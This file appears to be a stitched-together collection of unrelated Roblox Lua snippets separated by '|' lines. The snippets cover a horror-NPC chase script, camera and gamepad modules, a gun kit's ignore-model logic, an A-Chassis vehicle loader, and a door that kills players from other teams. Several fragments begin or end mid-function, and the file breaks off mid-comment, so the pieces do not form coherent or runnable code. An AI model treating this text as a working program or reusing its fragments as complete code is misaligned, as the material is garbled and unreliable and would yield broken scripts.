local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=30;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
--script.Parent.YY.Velocity = script.Parent.YY.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.YYY.Velocity = script.Parent.YYY.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.Z.Velocity = script.Parent.Z.CFrame.lookVector *script.Parent.Speed.Value
|
-- Actual measured distance to the camera Focus point, which may be needed in special circumstances, but should
-- never be used as the starting point for updating the nominal camera-to-subject distance (self.currentSubjectDistance)
-- since that is a desired target value set only by mouse wheel (or equivalent) input, PopperCam, and clamped to min max camera distance
|
function BaseCamera:GetMeasuredDistanceToFocus(): number?
local camera = game.Workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
return nil
end
function BaseCamera:GetCameraLookVector(): Vector3
return game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame.LookVector or UNIT_Z
end
function BaseCamera:CalculateNewLookCFrameFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): CFrame
local currLookVector: Vector3 = suppliedLookVector or self:GetCameraLookVector()
local currPitchAngle = math.asin(currLookVector.Y)
local yTheta = math.clamp(rotateInput.Y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle)
local constrainedRotateInput = Vector2.new(rotateInput.X, yTheta)
local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.X, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.Y,0,0)
return newLookCFrame
end
function BaseCamera:CalculateNewLookVectorFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): Vector3
local newLookCFrame = self:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput)
return newLookCFrame.LookVector
end
function BaseCamera:CalculateNewLookVectorVRFromArg(rotateInput: Vector2): Vector3
local subjectPosition: Vector3 = self:GetSubjectPosition()
local vecToSubject: Vector3 = (subjectPosition - (game.Workspace.CurrentCamera :: Camera).CFrame.p)
local currLookVector: Vector3 = (vecToSubject * X1_Y0_Z1).unit
local vrRotateInput: Vector2 = Vector2.new(rotateInput.X, 0)
local startCFrame: CFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local yawRotatedVector: Vector3 = (CFrame.Angles(0, -vrRotateInput.X, 0) * startCFrame * CFrame.Angles(-vrRotateInput.Y,0,0)).LookVector
return (yawRotatedVector * X1_Y0_Z1).unit
end
function BaseCamera:GetHumanoid(): Humanoid?
local character = player and player.Character
if character then
local resultHumanoid = self.humanoidCache[player]
if resultHumanoid and resultHumanoid.Parent == character then
return resultHumanoid
else
self.humanoidCache[player] = nil -- Bust Old Cache
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidCache[player] = humanoid
end
return humanoid
end
end
return nil
end
function BaseCamera:GetHumanoidPartToFollow(humanoid: Humanoid, humanoidStateType: Enum.HumanoidStateType) -- BasePart
if humanoidStateType == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character then
return character:FindFirstChild("Head") or humanoid.Torso
else
return humanoid.Torso
end
else
return humanoid.Torso
end
end
function BaseCamera:OnNewCameraSubject()
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
end
function BaseCamera:IsInFirstPerson()
return self.inFirstPerson
end
function BaseCamera:Update(dt)
error("BaseCamera:Update() This is a virtual function that should never be getting called.", 2)
end
function BaseCamera:GetCameraHeight()
if VRService.VREnabled and not self.inFirstPerson then
return math.sin(VR_ANGLE) * self.currentSubjectDistance
end
return 0
end
return BaseCamera
|
-- Public Constructors
|
function SliderClass.new(sliderFrame, axis)
local self = setmetatable({}, SliderClass)
self._Maid = Lazy.Utilities.Maid.new()
self._Spring = Lazy.Utilities.Spring.new(1, 0.1, 1, 0)
self._Axis = axis or "x"
self._ChangedBind = Instance.new("BindableEvent")
self._ClickedBind = Instance.new("BindableEvent")
self.Interval = 0
self.IsActive = true
self.TweenClick = true
self.Inverted = false
self.Frame = sliderFrame
self.Changed = self._ChangedBind.Event
self.Clicked = self._ClickedBind.Event
self.DragStart = nil
self.DragStop = nil
init(self)
self:Set(0.5)
return self
end
function SliderClass.Create(axis)
local slider = nil
if (not axis or axis == "x") then
slider = SliderClass.new(SLIDER_FRAMEX:Clone(), axis)
else
slider = SliderClass.new(SLIDER_FRAMEY:Clone(), axis)
slider.Inverted = true
end
return slider
end
|
----------------------------------------------------------------------
--------------------[ IGNORE MODEL HANDLING ]-------------------------
----------------------------------------------------------------------
|
wait(math.random(0, 20) / 40) --This is to prevent more than one ignoreModel from being created
if _G.ignoreCode then --If the ignoreCode already exists, then the script creates the ignoreModel
--[[
The purpose of this is so that every gun in a game that uses this gun kit will share one ignoreModel. That way,
bullet trails, bullet holes, and other fake arms will be ignored by the gun which makes the bullets more likely to
hit a character part
--]]
if (not game.Workspace:FindFirstChild("ignoreModel_".._G.ignoreCode)) then
local ignoreModel = Instance.new("Model")
ignoreModel.Name = "ignoreModel_".._G.ignoreCode
ignoreModel.Parent = game.Workspace
local grenadeFolder = Instance.new("Model")
grenadeFolder.Name = "grenadeFolder"
grenadeFolder.Parent = ignoreModel
spawn(function()
while true do
ignoreModel.Parent = game.Workspace
grenadeFolder.Parent = ignoreModel
wait(1 / 20)
end
end)
end
script.Parent:WaitForChild("clientMain"):WaitForChild("ignoreCode").Value = _G.ignoreCode
else
--[[
If there isn't already an ignoreCode, then this creates one. The purpose of it being random is so that if there is
an ignoreModel for something else in the game, the script won't end up placing the ignored objects in that ignoreModel
--]]
_G.ignoreCode = math.random(1, 1e4)
if (not game.Workspace:FindFirstChild("ignoreModel_".._G.ignoreCode)) then
local ignoreModel = Instance.new("Model")
ignoreModel.Name = "ignoreModel_".._G.ignoreCode
ignoreModel.Parent = game.Workspace
local grenadeFolder = Instance.new("Model")
grenadeFolder.Name = "grenadeFolder"
grenadeFolder.Parent = ignoreModel
spawn(function()
while true do
ignoreModel.Parent = game.Workspace
grenadeFolder.Parent = ignoreModel
wait(1 / 20)
end
end)
end
script.Parent:WaitForChild("clientMain"):WaitForChild("ignoreCode").Value = _G.ignoreCode
end
spawn(function()
--[[
This function deletes any Player Folders that were left in the ignoreModel because the player left the game without
deselecting the Gun first
--]]
repeat wait() until _G.ignoreCode
local ignoreModel = game.Workspace:WaitForChild("ignoreModel_".._G.ignoreCode)
while true do
for _, gunIgnore in pairs(ignoreModel:GetChildren()) do
if gunIgnore.Name ~= "grenadeFolder" then
if (not game.Players:FindFirstChild(gunIgnore.Name:sub(11))) then
gunIgnore:Destroy()
end
end
end
wait(1 / 20)
end
end)
|
--script.Parent.Parent.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
| |
--[[Initialize]]
|
script.Parent:WaitForChild("A-Chassis Interface")
script.Parent:WaitForChild("Plugins")
script.Parent:WaitForChild("README")
local car=script.Parent.Parent
local _Tune=require(script.Parent)
wait(_Tune.LoadDelay)
--Update Checker
if _Tune.AutoUpdate then
local newModel
local s,m = pcall(function() newModel = game:GetService("InsertService"):LoadAsset(2615493582) end)
if s then
if script.Parent["A-Chassis Interface"].Version.Value < newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.Value or newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.MajorUpdate.Value then
if newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.MajorUpdate.Value then
print("[AC6C]: Chassis update!"
.."\nA major update to A-Chassis 6C has been found."
.."\nThe changes cannot be ported due to the update."
.."\nYou are advised to update your chassis ASAP.")
else
script.Parent["A-Chassis Interface"].Version.Value = newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.Value
print("[AC6C]: Drive script update!"
.."\nAn update to A-Chassis' Drive script has been found."
.."\nThe updated script will take effect next time you get in."
.."\nYou are advised to update your chassis soon.")
script.Parent["A-Chassis Interface"].Drive:Destroy()
newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Drive.Parent = script.Parent["A-Chassis Interface"]
end
end
newModel:Destroy()
end
end
script.Parent["A-Chassis Interface"].Version.Value = 1
--Weight Scaling
local weightScaling = _Tune.WeightScaling
if not workspace:PGSIsEnabled() then
weightScaling = _Tune.LegacyScaling
end
local Drive=car.Wheels:GetChildren()
--Remove Existing Mass
function DReduce(p)
for i,v in pairs(p:GetChildren())do
if v:IsA("BasePart") then
if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
v.CustomPhysicalProperties = PhysicalProperties.new(
0,
v.CustomPhysicalProperties.Friction,
v.CustomPhysicalProperties.Elasticity,
v.CustomPhysicalProperties.FrictionWeight,
v.CustomPhysicalProperties.ElasticityWeight
)
end
DReduce(v)
end
end
DReduce(car)
|
--[=[
Returns the top-level value held by the property. This will
either be the initial value set, or the last value set
with `Set()`.
```lua
remoteProperty:Set("Data")
print(remoteProperty:Get()) --> "Data"
```
]=]
|
function RemoteProperty:Get(): any
return self._value
end
|
-- Returns whether the playerSelected's status is appropriate for the playerFiring
|
function GetProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText)
local filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId)
if filteredStatus == statusText then
return { success = true }
else
return { success = false }
end
end
|
--Weld stuff here
|
MakeWeld(misc.BP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.BP.MeshPart,misc.BP.SS)
MakeWeld(misc.GP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.GP.MeshPart,misc.GP.SS)
|
--EDIT BELOW----------------------------------------------------------------------
|
settings.PianoSoundRange = 75
settings.KeyAesthetics = true
settings.PianoSounds = {
"414892095",
"414892150",
"414892208",
"414892265",
"414892322",
"414909236"
}
|
--[[ alexnewtron 2014 ]]
|
--
local c = {
p = game.Players.LocalPlayer,
h = game.Players.LocalPlayer.Character:findFirstChild("Humanoid"),
debris=game:GetService("Debris"),
c = script:WaitForChild("creator")
};
function c.r()
for i,v in ipairs(c.h:GetChildren()) do
if v.Name=="creator" then
v:Destroy()
end
end
local creator_tag=Instance.new("ObjectValue");
creator_tag.Value=c.c.Value;
creator_tag.Name="creator";
creator_tag.Parent=c.h;
end
if (c.h ~= nil) then
for i=1, 5 do
c.r();
c.h:TakeDamage(7);
wait(1.5);
end
end
script:Destroy();
|
---- STATE MODIFICATION ----
|
function ActiveCastStatic:Pause()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self.StateInfo.Paused = true
end
function ActiveCastStatic:Resume()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self.StateInfo.Paused = false
end
function ActiveCastStatic:Terminate()
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
-- First: Set EndTime on the latest trajectory since it is now done simulating.
local trajectories = self.StateInfo.Trajectories
local lastTrajectory = trajectories[#trajectories]
lastTrajectory.EndTime = self.StateInfo.TotalRuntime
-- Disconnect the update connection.
self.StateInfo.UpdateConnection:Disconnect()
-- Now fire CastTerminating
self.Caster.CastTerminating:FireSync(self)
-- And now set the update connection object to nil.
self.StateInfo.UpdateConnection = nil
-- And nuke everything in the table + clear the metatable.
self.Caster = nil
self.StateInfo = nil
self.RayInfo = nil
self.UserData = nil
setmetatable(self, nil)
end
return ActiveCastStatic
|
--// Event Connections
|
L_115_.OnClientEvent:connect(function(L_331_arg1, L_332_arg2)
if L_331_arg1 ~= L_2_ then
local L_333_ = L_331_arg1.Character
local L_334_ = L_333_.AnimBase.AnimBaseW
local L_335_ = L_334_.C1
if L_332_arg2 then
L_130_(L_334_, nil , L_333_.Head.CFrame, function(L_336_arg1)
return math.sin(math.rad(L_336_arg1))
end, 0.25)
elseif not L_332_arg2 then
L_130_(L_334_, nil , L_335_, function(L_337_arg1)
return math.sin(math.rad(L_337_arg1))
end, 0.25)
end
end
end)
L_118_.OnClientEvent:connect(function(L_338_arg1, L_339_arg2)
if L_42_ and L_339_arg2 ~= L_2_ and L_24_.CanCallout then
if (L_3_.HumanoidRootPart.Position - L_338_arg1).magnitude <= 10 then
L_41_.Visible = true
local L_340_ = ScreamCalculation()
if L_340_ then
if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then
L_119_:FireServer(L_7_.AHH, L_99_[math.random(0, 21)])
end
end
L_14_:Create(L_41_, TweenInfo.new(0.1), {
BackgroundTransparency = 0.4
}):Play()
delay(0.1, function()
L_14_:Create(L_41_, TweenInfo.new(3), {
BackgroundTransparency = 1
}):Play()
end)
end
end
end)
|
-- Get Points:
|
function PointsService:GetPoints(player)
local points = self.PointsPerPlayer[player]
return points or 0
end
|
-- Used for cars, de activates when the user jumps --
|
plane.PilotSeat.ChildRemoved:connect(function(child)
run=false
cam.CameraType="Custom"
cam.FieldOfView = 70
CamV = ("third")
end)
game:GetService("RunService").RenderStepped:connect(function()
if run and CamV == "first" then
local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/200)^3,1),-1)
local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/200)^3,1),-1)
local LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,0,-1)*CFrame.Angles(-YLook,-XLook,0))
cam.CameraType="Scriptable"
cam.CameraSubject=player.Character.Humanoid
cam.CoordinateFrame=LookOffset
elseif run and CamV == "second" then
local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/200)^3,1),-1)
local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/200)^3,1),-1)
local LookOffset=AimPart.CFrame:toWorldSpace(CFrame.new(0,0,0))
cam.CameraType="Scriptable"
cam.CameraSubject=player.Character.Humanoid
cam.CoordinateFrame=LookOffset
end
end)
|
--example of use:
|
game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("CameraShake").OnClientEvent:Connect(function()
shakeCamera(10, script.Parent.HumanoidRootPart.Position, true)
end)
|
------------------------------------
|
function onTouched(hit)
print("Door Hit")
local human = hit.Parent:FindFirstChild("Humanoid")
if (human ~= nil ) then
if game.Players:playerFromCharacter(hit.Parent).TeamColor==game.Teams:findFirstChild(modelname).TeamColor then
Door.CanCollide = true
Door.Transparency = 0
wait(1)
Door.CanCollide = true
Door.Transparency = 0
print("Human touched door")
else
human.Health = 0
end
end
end
connection = Door.Touched:connect(onTouched)
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
|
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(-1.5,-.2,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
end
end)
|
-- This function selects the lowest number gamepad from the currently-connected gamepad
-- and sets it as the active gamepad
|
function Gamepad:GetHighestPriorityGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
local bestGamepad = NONE -- Note that this value is higher than all valid gamepad values
for _, gamepad in pairs(connectedGamepads) do
if gamepad.Value < bestGamepad.Value then
bestGamepad = gamepad
end
end
return bestGamepad
end
function Gamepad:BindContextActions()
if self.activeGamepad == NONE then
-- There must be an active gamepad to set up bindings
return false
end
local updateMovement = function(inputState)
if inputState == Enum.UserInputState.Cancel then
self.moveVector = ZERO_VECTOR3
else
self.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue)
end
end
-- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are,
-- which fixes them from getting stuck on.
local handleMoveForward = function(actionName, inputState, inputObject)
self.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
updateMovement(inputState)
end
local handleMoveBackward = function(actionName, inputState, inputObject)
self.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
updateMovement(inputState)
end
local handleMoveLeft = function(actionName, inputState, inputObject)
self.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
updateMovement(inputState)
end
local handleMoveRight = function(actionName, inputState, inputObject)
self.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
updateMovement(inputState)
end
local handleJumpAction = function(actionName, inputState, inputObject)
self.isJumping = (inputState == Enum.UserInputState.Begin)
if FFlagPlayerScriptsBindAtPriority then
return Enum.ContextActionResult.Sink
end
end
local handleThumbstickInput = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Cancel then
self.moveVector = ZERO_VECTOR3
return FFlagPlayerScriptsBindAtPriority and Enum.ContextActionResult.Sink or nil
end
if self.activeGamepad ~= inputObject.UserInputType then
return FFlagPlayerScriptsBindAtPriority and Enum.ContextActionResult.Pass or nil
end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if inputObject.Position.magnitude > thumbstickDeadzone then
self.moveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
else
self.moveVector = ZERO_VECTOR3
end
if FFlagPlayerScriptsBindAtPriority then
return Enum.ContextActionResult.Sink
end
end
ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
if FFlagPlayerScriptsBindAtPriority then
ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false,
self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA)
ContextActionService:BindActionAtPriority("moveThumbstick", handleThumbstickInput, false,
self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1)
else
ContextActionService:BindAction("jumpAction",handleJumpAction, false, Enum.KeyCode.ButtonA)
ContextActionService:BindAction("moveThumbstick",handleThumbstickInput, false, Enum.KeyCode.Thumbstick1)
end
return true
end
function Gamepad:UnbindContextActions()
if self.activeGamepad ~= NONE then
ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
end
ContextActionService:UnbindAction("moveThumbstick")
ContextActionService:UnbindAction("jumpAction")
end
function Gamepad:OnNewGamepadConnected()
-- A new gamepad has been connected.
local bestGamepad = self:GetHighestPriorityGamepad()
if bestGamepad == self.activeGamepad then
-- A new gamepad was connected, but our active gamepad is not changing
return
end
if bestGamepad == NONE then
-- There should be an active gamepad when GamepadConnected fires, so this should not
-- normally be hit. If there is no active gamepad, unbind actions but leave
-- the module enabled and continue to listen for a new gamepad connection.
warn("Gamepad:OnNewGamepadConnected found no connected gamepads")
self:UnbindContextActions()
return
end
if self.activeGamepad ~= NONE then
-- Switching from one active gamepad to another
self:UnbindContextActions()
end
self.activeGamepad = bestGamepad
self:BindContextActions()
end
function Gamepad:OnCurrentGamepadDisconnected()
if self.activeGamepad ~= NONE then
ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
end
local bestGamepad = self:GetHighestPriorityGamepad()
if self.activeGamepad ~= NONE and bestGamepad == self.activeGamepad then
warn("Gamepad:OnCurrentGamepadDisconnected found the supposedly disconnected gamepad in connectedGamepads.")
self:UnbindContextActions()
self.activeGamepad = NONE
return
end
if bestGamepad == NONE then
-- No active gamepad, unbinding actions but leaving gamepad connection listener active
self:UnbindContextActions()
self.activeGamepad = NONE
else
-- Set new gamepad as active and bind to tool activation
self.activeGamepad = bestGamepad
ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
end
end
function Gamepad:ConnectGamepadConnectionListeners()
self.gamepadConnectedConn = UserInputService.GamepadConnected:Connect(function(gamepadEnum)
self:OnNewGamepadConnected()
end)
self.gamepadDisconnectedConn = UserInputService.GamepadDisconnected:Connect(function(gamepadEnum)
if self.activeGamepad == gamepadEnum then
self:OnCurrentGamepadDisconnected()
end
end)
end
function Gamepad:DisconnectGamepadConnectionListeners()
if self.gamepadConnectedConn then
self.gamepadConnectedConn:Disconnect()
self.gamepadConnectedConn = nil
end
if self.gamepadDisconnectedConn then
self.gamepadDisconnectedConn:Disconnect()
self.gamepadDisconnectedConn = nil
end
end
return Gamepad
|
--------------------------------------------------------------------------------
-- Piercing raycasts
|
local function getCollisionPoint(origin, dir)
local originalSize = #blacklist
repeat
local hitPart, hitPoint = workspace:FindPartOnRayWithIgnoreList(
ray(origin, dir), blacklist, false, true
)
if hitPart then
if hitPart.CanCollide then
eraseFromEnd(blacklist, originalSize)
return hitPoint, true
end
blacklist[#blacklist + 1] = hitPart
end
until not hitPart
eraseFromEnd(blacklist, originalSize)
return origin + dir, false
end
|
--[=[
Set a handler that will be called regardless of the promise's fate. The handler is called when the promise is
resolved, rejected, *or* cancelled.
Returns a new Promise that:
- resolves with the same values that this Promise resolves with.
- rejects with the same values that this Promise rejects with.
- is cancelled if this Promise is cancelled.
If the value you return from the handler is a Promise:
- We wait for the Promise to resolve, but we ultimately discard the resolved value.
- If the returned Promise rejects, the Promise returned from `finally` will reject with the rejected value from the
*returned* promise.
- If the `finally` Promise is cancelled, and you returned a Promise from the handler, we cancel that Promise too.
Otherwise, the return value from the `finally` handler is entirely discarded.
:::note Cancellation
As of Promise v4, `Promise:finally` does not count as a consumer of the parent Promise for cancellation purposes.
This means that if all of a Promise's consumers are cancelled and the only remaining callbacks are finally handlers,
the Promise is cancelled and the finally callbacks run then and there.
Cancellation still propagates through the `finally` Promise though: if you cancel the `finally` Promise, it can cancel
